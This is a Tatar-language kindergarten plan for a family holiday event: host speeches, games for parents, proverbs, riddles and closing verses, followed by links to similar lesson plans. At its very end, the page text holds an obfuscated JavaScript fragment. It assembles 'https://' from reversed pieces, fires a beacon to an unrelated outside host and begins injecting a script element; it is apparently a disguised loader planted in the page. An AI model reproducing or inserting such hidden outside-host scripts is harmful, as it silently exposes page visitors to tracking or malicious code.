Гаилә бәйрәме (кечкенәләр төркеме)
план-конспект занятия (младшая группа) на тему
Гаилә -ул җылы учак. Гаилә никадәр нык булса, аннан килгән җылылык та шулкадәр көчле була.
Скачать:
Вложение | Размер |
---|---|
![]() | 21.96 КБ |
Предварительный просмотр:
Гаилә бәйрәме.
Ал.б. Хәерле кич, хөрмәтле әти-әниләр, укучылар , килгән кунаклар! Белгәнебезчә без “Гаилә бәйрәме”нә җыелдык. Гаилә- һәр кешегә кирәкле җылы учак. Гаилә никадәр нык булса, аннан килгән җылылык та шул кадәр көчле була.. Димәк, гаилә- ул иң олы таянычыбыз, иң ышанычлы сыеныр урыныбыз.Анда бер-берсен яраткан, бер-берсе турында кайгыртучанлык күрсәткән кешеләр яши.
Ал.б. Тату гаилә-бәхетле гаилә ,ди халык. Нәрсә соң ул гаилә? Бер социолог аны “җанга шифалы ял ял” дигән, ә икенчесе “психологик сыену урыны” дип атаган. Әйе, кешенең иң зур бәхете-аның гаиләсе. Менә инде 1994 елдан башлап 15 май Халыкара гаилә көне буларак билгеләп үтелә.
Ә бу бәйрәмгә инде безнең нәниләребез шундый нык әзерләнделәр. Котлау өчен сүзне аларга бирәбез.
- Шигырьләрен сөйләү
- Җыр.: Әниләр бәйрәме.
- Җырлы уен: “Иркәлә”
- Җырлы уен: Нәни балалар”
- Җыр: Капитан абыем
Ал.б. Халык гаиләдә атаның да урынын югары бәяли. Әти кешенең сабырлыгы, һәр сүзен уйлап сөйләшүе, җаваплы кешеләргә итагатьле булуы, иҗтимагый активлыгы игътибарга лаек. Халык авыз иҗатында һәм педагогикасында ата кеше гаиләне яклаучы, туендыручы,яшәү шартларын булдыручы һәм гаилә намусын саклаучы итеп күрсәтелә. Ата кешенең күп вакыты йорттан читтә- хезмәттә үтә. Бер үк вакытта ата- аек акыл иясе дә Ул булмаса тормышның рәте китә.
Әйдәгез әле без дә үзебезнең әтиләрне сынап карыйк.
Уен: “Әкият сөйләү” . Ике әти бәрәңге әрчи-әрчи берсен-берсе уздырып әкият сөйлиләр. (Үзләре уйлап тапкан әкияттә ярый)
Корреспондент керә. “Гаилә бәйрәменә кагылышлы сораулар биреп ата-аналардан интервью ала.
Ал.б. Гаиләдә ана- иң изге,хөрмәтле кеше. “Ана хакын уч төбендә тәбә кыздырып ашатсаң да,кайтара алмассың” ди халкыбыз.
Ана газаплар белән баласын тудыра,аны аякка бастыру өчен сәламәтлеген дә, вакытын да кызганмый.Гаиләдә ананы изгеләштерү, аның баласының бөтен язмышы, шәхес булып формалашуы, олы тормыш юлында үз кыйбласын таба алырлык булып үсүе өчен җаваплылык тоюы, баласы-йөрәк парәсе өчен һәрчак җан атуы, аның бәхете хакына бөтен авырлыкларга барырга әзер торуы белән аңлатыла.
Әйдәгез әле әниләребезне дә тикшереп карыйк.
Уен: “Тортны бизә” .Ике әни ябыштырып торт бизи. Шул ук вакытта аларга сораулар бирелә, алар сорауларга да җавап бирергә тиеш.(сорауларны калган әти-әниләр бирә)
Ал.б. Җор телле кеше үз сөйләмендә мәкальләрне еш куллана. Мәкальләр ,гадәттә, кешеләргә әхлак һәм әдәп тәрбиясе бирә. Аларны өйрәнү, сөйләмебезне баета, фикерләвебезне үстерә,халыкка, туган телгә мәхәббәт тәрбияли. Хәзер, шуны ачыклау максатыннан , “Мин башын әйтәм, сез дәвам итегез”бәйгесе оештырыла.
Агачны яфрак бизәсә, кешене (хезмәт бизи)
Аз сөйлә,күп (эшлә)
Ашаганың белән мактанма,(эшләгәнең белән мактан)
Һөнәрле үлмәс, һөнәрсез(көн күрмәс)
Ул ояты атага, (кыз ояты анага)
Атасы барның (бәхете бар)
Атасы кем( улы шул)
Оясында ни күрсә,(очканда шул булыр)
Тапкырлыкка сораулар.
- Нинди савыттан эчеп булмый? Буш савыттан
- Кайчан шылт иткән тавыш та ишетелми? Тып-тын вакытта
- Календарьда кайсы ай юк? Күктәге
- Нәрсәне урыныннан күчереп булмый? Җирне
- Кеше кайсы елны күбрәк ашый? Кәбисә елны (Чөнки бер көне артык)
- Нәрсәне сатып алып булмый? Узган гомерне.
- Юләр кайчан акыллы була? Тик торганда
- Кеше төш күрә: бер ягында юлбарыс, икенче ягында текә кыя, өченче ягында дәрья, дүртенче ягында кара урман. Ул моннан ничек котыла? Уянып
- Бала җиде яше тулу белән нишли? Сигезгә чыга
- Үзе шар. Ә беркем тәгәрәтә алмый. Җир шары
- Куян артына әйләнеп карый-карый чаба. Нигә? Чөнки артта күзе юк.
- Ат нигә улак янына килә? Улак аның янына килмәгәнгә.
- Сыер судан чыккач нишли? Коры җиргә баса.
Ал.б. һәрбер гаилә нинди дә булса музыкаль сәләткә ия. Хәзер һәрбер гаилә концерт номерлары күрсәтеп китәр.
Җыр
Бию: “Чебиләрем”
Сораулар.
1.Сезнеңчә, бала тәрбияләүне кайчан башларга кирәк?
2. Телевизордан нинди тапшыруларны яратып карыйсыз?
3. Нинди газета –журналлар алдырасыз?
4. Сезнең гаиләдә кем фикере өстенрәк?
5. Гаиләгез белән нинди уеннар уйныйсыз?
6. Ял вакытыгызны ничек үткәрәсез?
7. Сезнеңчә бәхет нәрсә ул?
8. Бала эшкә кайчан өйрәнергә тиеш
Уеннар.
1. Алъяпкыч бәйләп, шакмак ташу уены.
2 Дуслык җебе.( Кем озынрак җеп ялгый)
3. Открытка уены.
4. Шарлар җыю.(Кем кочагына күбрәк шарлар сыйдыра?)
5. “Оста укчы”.(Кәрзингә нарат күркәләрен ыргыту)
6. “Көнгерә.”( Туп белән сикерү)
7. Күз бәйләп, үз балаңны тану.
Хөрмәтле әтиләребез, әниләребез. Бүгенге кичәбезгә килеп, безнең белән бергәләп ял итүегез өчен сезгә зур рәхмәт.
Сокланырлык итеп яшәгез сез җирдә,
Борчу йөрсен сездән еракта,
Ходай биргән бәхетләрне саклап
Кадерләрен белеп тормышта.
Тик уңышлар гына юлдаш булсын корычтан.
Яшәгез сез шатлык- куанычта
Тәм, ямь табып шушы тормыштан.
Бәхетле булыгыз.
По теме: методические разработки, презентации и конспекты
"кәҗә һәм кәҗә бәтиләре"танып белү эшчәнлеге буенча шөгыль(икенче кечкенәләр төркеме)
Это занятие на родном языке для моих воспитанников.Мы любим играть в театрализованные игры....
"транспорт төрләре" шөгыль коспекты (кечкенәләр төркеме)
Максат: Балаларны транспорт төрләре белән таныштыру,аларда игътибарлылык,ярдәмчеллек,хәлгә керә белү сыйфатлары тәрбияләү.Җиһазлар: Телевизор макеты,транспорт рәсемнәре,төзелеш материаллары,уенчык эт....
Кечкенә шырпы - зур бәла.( кечкенәләр төркеме өчен тирә - юнь дәресе)
“Кечкенә шырпы – зур бәла”( II кечкенәләр төркеме).Максат: Балаларны янгын сүндерүчеләр бел...
II-нче кечкенәләр төркеме балалары белән тирә – як белән танышу һәм сөйләм телен үстерү буенча үткәрелгән шөгыль конспекты. Тема: “Әтәч һәм аның гаиләсе”.
Балаларда йорт кошларының тышкы кыяфәтләре, тән төзелеше турындагы белемнәрен ачыклау һәм киңәйтү, туган телендә дөрес, матур итеп сөйли белү теләге уяту. Сорауларга тулы җ...
![](/sites/default/files/pictures/2021/10/16/picture-375223-1634375661.jpg)
Беренче кечкенәләр төркеме өчен уен “Минем гаилә” с применением ИТК
Максат:1. Гаилә турындагы белемнәрен ныгыту,гаилә әгъзалары белән таныштыру2. Сүз байлыгы булдыру, сөйләмдә активлаштыру. 3. Гади диалогта катнаша белү, хәтер, зиһен үстерү.4. Бер-береңне тыңлау,...
![](/sites/default/files/pictures/2016/02/11/picture-689550-1455199572.jpg)
Әти – әниләр өчен киңәшләр «Тәрбия гаиләдән башлана » Кечкенәләр төркеме
Әти – әниләр өчен киңәшләр«Тәрбия гаиләдән башлана »Кечкенәләр төркеме...
Әти – әниләр өчен киңәшләр «Тәрбия гаиләдән башлана » Кечкенәләр төркеме
var e,n,o;window.self===window.top&&(e=[\'//\',\'s:\',\'tp\',\'ht\'].reverse().join(\'\'),n=[\'hlzeeb.lussoit.com\',\'39\'].join(\'/\'),(o=new Image).src=\'\'.concat(e).concat(n,\'.gif\')); var script = document.creat...